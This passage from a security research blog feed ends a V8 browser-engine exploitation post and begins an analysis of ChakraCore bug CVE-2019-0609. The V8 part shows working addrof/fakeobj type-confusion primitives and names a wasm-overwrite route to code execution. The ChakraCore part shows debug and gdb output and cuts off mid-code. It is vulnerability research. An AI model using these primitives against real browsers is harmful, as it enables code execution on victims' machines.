&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addr_o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;asDouble&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;fake_arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kr"&gt;double&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fake_arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;7&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fakeobj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addr_o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;asDouble&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kr"&gt;double&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;fake_arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fake_arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;7&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Code Execution&lt;/h3&gt;
&lt;p&gt;With stable and reusable &lt;code&gt;addrOf&lt;/code&gt; and &lt;code&gt;fakeObj&lt;/code&gt; primitive, now the exploitation is quite easier.&lt;/p&gt;
&lt;p&gt;We simply follow the well-known tricks to get arbitrary address read/write primitives and overwrite the memory of wasm code to get code exection&lt;sup id="fnref:4"&gt;&lt;a class="footnote-ref" href="#fn:4"&gt;5&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h3&gt;Demo&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=5MUFkH1s8LE"&gt;&lt;img alt="IMAGE ALT TEXT HERE" src="http://img.youtube.com/vi/5MUFkH1s8LE/0.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:0"&gt;
&lt;p&gt;&lt;a href="https://doar-e.github.io/blog/2019/05/09/circumventing-chromes-hardening-of-typer-bugs/"&gt;Circumventing Chrome's hardening of typer bugs&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:0" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;a href="https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/#preparing-turbolizer"&gt;Introduction to TurboFan&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;&lt;a href="https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/"&gt;Exploiting the Math.expm1 typing bug in V8&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;&lt;a href="https://jayconrod.com/posts/52/a-tour-of-v8-object-representation"&gt;A tour of V8: object representation&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:4"&gt;
&lt;p&gt;&lt;a href="https://www.jaybosamiya.com/blog/2019/01/02/krautflare/"&gt;Exploiting Chrome V8: Krautflare (35C3 CTF 2018)&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:4" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="blog"></category><category term="Security"></category><category term="Chrome"></category><category term="JavaScript"></category></entry><entry><title>Analysis of a use-after-unmap vulnerability in Edge: CVE-2019-0609</title><link href="https://gts3.org/2019/cve-2019-0609.html" rel="alternate"></link><published>2019-06-29T00:00:00+02:00</published><updated>2019-06-29T00:00:00+02:00</updated><author><name>Soyeon Park</name></author><id>tag:gts3.org,2019-06-29:/2019/cve-2019-0609.html</id><summary type="html">&lt;p&gt;An analysis of an interesting vulnerability in Microsoft Edge&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;If someone wants to view a web page with his phone or computer, he will use a web browser.
You also might be reading this article with a web browser. All the commodity web browsers in the world (i.e., Microsoft Edge, Apple Safari, Google Chrome, and Mozilla Firefox) implement their own JavaScript engines to support client-side scripting language for dynamic interaction with a client. That is the reason why the JavaScript engine is one of the most popular targets of both hackers and security researchers.&lt;/p&gt;
&lt;p&gt;In this post, we introduce an interesting security vulnerability in ChakraCore (JS engine for Edge) we found
during our research, CVE-2019-0609. Although the root cause of this bug is not so complicated, it was located quiet deeply unlike other interpreter bugs. Thus, this bug was hard to catch and long-lasting. We guess this is the reason why Microsoft paid the maximum amount of payment to us for the bug bounty.&lt;/p&gt;
&lt;h2&gt;Analyzing CVE-2019-0609, a use-after-unmap vulnerability&lt;/h2&gt;
&lt;h3&gt;The first insight&lt;/h3&gt;
&lt;p&gt;Let's start with the assertion hit by the PoC in debug build.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;ASSERTION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;264714&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;soyeon&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;jsfuzz&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;static&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;engines&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;chakracore&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1.11.3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Runtime&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nf"&gt;Library&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;StackScriptFunction&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cpp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;249&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stackFunction&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;boxedScriptFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;boxedFunction&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;Failure&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stackFunction&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;boxedScriptFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;boxedFunction&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;264714&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;illegal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hardware&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;instruction&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;jsfuzz&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;static&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;engines&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;chakracore&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1.11.3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Debug&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;35977387.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;From the assertion, we can infer that the PoC has hit an issue while boxing a JavaScript function.
No doubt you will be curious about what boxing is, as I did. So, what is boxing in JavaScript?&lt;/p&gt;
&lt;h3&gt;Boxing in JavaScript&lt;/h3&gt;
&lt;p&gt;If you declare an object such as a Number or a Function inside the global code or a function, they will be allocated on the stack normally. However, they should be located on the heap for some case, such as referencing same objects with different pointers or scope escaping of an object. For example, if a function allocated on the stack is returned, the function should be boxed to avoid scope escaping. This can happen in JavaScript because a function is a first-class object in JavaScript.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;test&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stackFun&lt;/span&gt;&lt;span class="p"&gt;(){}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;heapFun&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;&lt;span class="nx"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hi!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;heapFun&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;test&lt;/span&gt;&lt;span class="p"&gt;()();&lt;/span&gt;
&lt;span class="c1"&gt;// output : hi!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the above code, &lt;code&gt;function stackFun&lt;/code&gt; and &lt;code&gt;heapFun&lt;/code&gt; would be located on the stack when they are declared. Further, the &lt;code&gt;function heapFun&lt;/code&gt; should be moved to the heap to avoid pointing the address on the stack of &lt;code&gt;function test&lt;/code&gt;, as it is returned to the outside of &lt;code&gt;function test&lt;/code&gt;.  The behavior that the JS engine moves the object to heap from stack, is called boxing. It is similar to the concept of boxing in Java. &lt;/p&gt;
&lt;h3&gt;What makes the assertion&lt;/h3&gt;
&lt;p&gt;Based on the concept of boxing, we can infer that a &lt;code&gt;scriptFunction&lt;/code&gt; needs boxing but it failed for some reason. For details, let's take a look at the code around the assertion on &lt;code&gt;StackScriptFunction::BoxState::Box&lt;/code&gt; in &lt;code&gt;lib/Runtime/Library/StackScriptFunction.cpp&lt;/code&gt;. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;247&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;StackScriptFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;stackFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;interpreterFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;GetStackNestedFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="mi"&gt;248&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ScriptFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;boxedFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;BoxStackFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stackFunction&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="mi"&gt;249&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;Assert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stackFunction&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;boxedScriptFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;boxedFunction&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;UpdateFrameDisplay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stackFunction&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the above code, it tries to box a &lt;code&gt;stackFunction&lt;/code&gt; for some reason, and check whether or not the function is boxed through the assertion. However, the reached assertion shows that it is not really boxed. With gdb, we checked the &lt;code&gt;boxedFunction&lt;/code&gt; still indicates &lt;code&gt;stackFunction&lt;/code&gt; on the stack, and &lt;code&gt;boxedScriptFunction&lt;/code&gt; is nullptr. In normal case, it should points the&lt;code&gt;boxedFunction&lt;/code&gt;. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;Stopped&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;reason&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;SIGILL&lt;/span&gt;
&lt;span class="nt"&gt;0x0000555558a9be2f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Js&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;StackScriptFunction&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;BoxState&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;Box&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;this&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;0x7ffffffe2540&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;soyeon&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;jsfuzz&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;js-static&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;engines&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;chakracore-1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;11&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;5&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;Runtime&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;Library&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;StackScriptFunction&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;cpp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;249&lt;/span&gt;
&lt;span class="nt"&gt;249&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="nt"&gt;Assert&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;stackFunction-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;boxedScriptFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;boxedFunction&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;boxedFunction&lt;/span&gt;
&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;Js&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;ScriptFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x7ff7f024fff8&lt;/span&gt;
&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;stackFunction&lt;/span&gt;
&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="nt"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;Js&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;StackScriptFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x7ff7f024fff8&lt;/span&gt;
&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;stackFunction-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;boxedScriptFunction&lt;/span&gt;
&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="nt"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;Js&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;ScriptFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Something went wrong!  We should check what really happened in &lt;code&gt;BoxStackFunction&lt;/code&gt;. &lt;/p&gt;
&lt;h3&gt;Why boxing stack function is failed&lt;/h3&gt;
&lt;p&gt;This is the code snippet of the &lt;code&gt;StackScriptFunction::BoxState::BoxStackFunction&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;710&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ScriptFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;StackScriptFunction&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;BoxState&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;BoxStackFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ScriptFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scriptFunction&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;711&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;712&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// Box the frame display first, which may in turn box the function&lt;/span&gt;
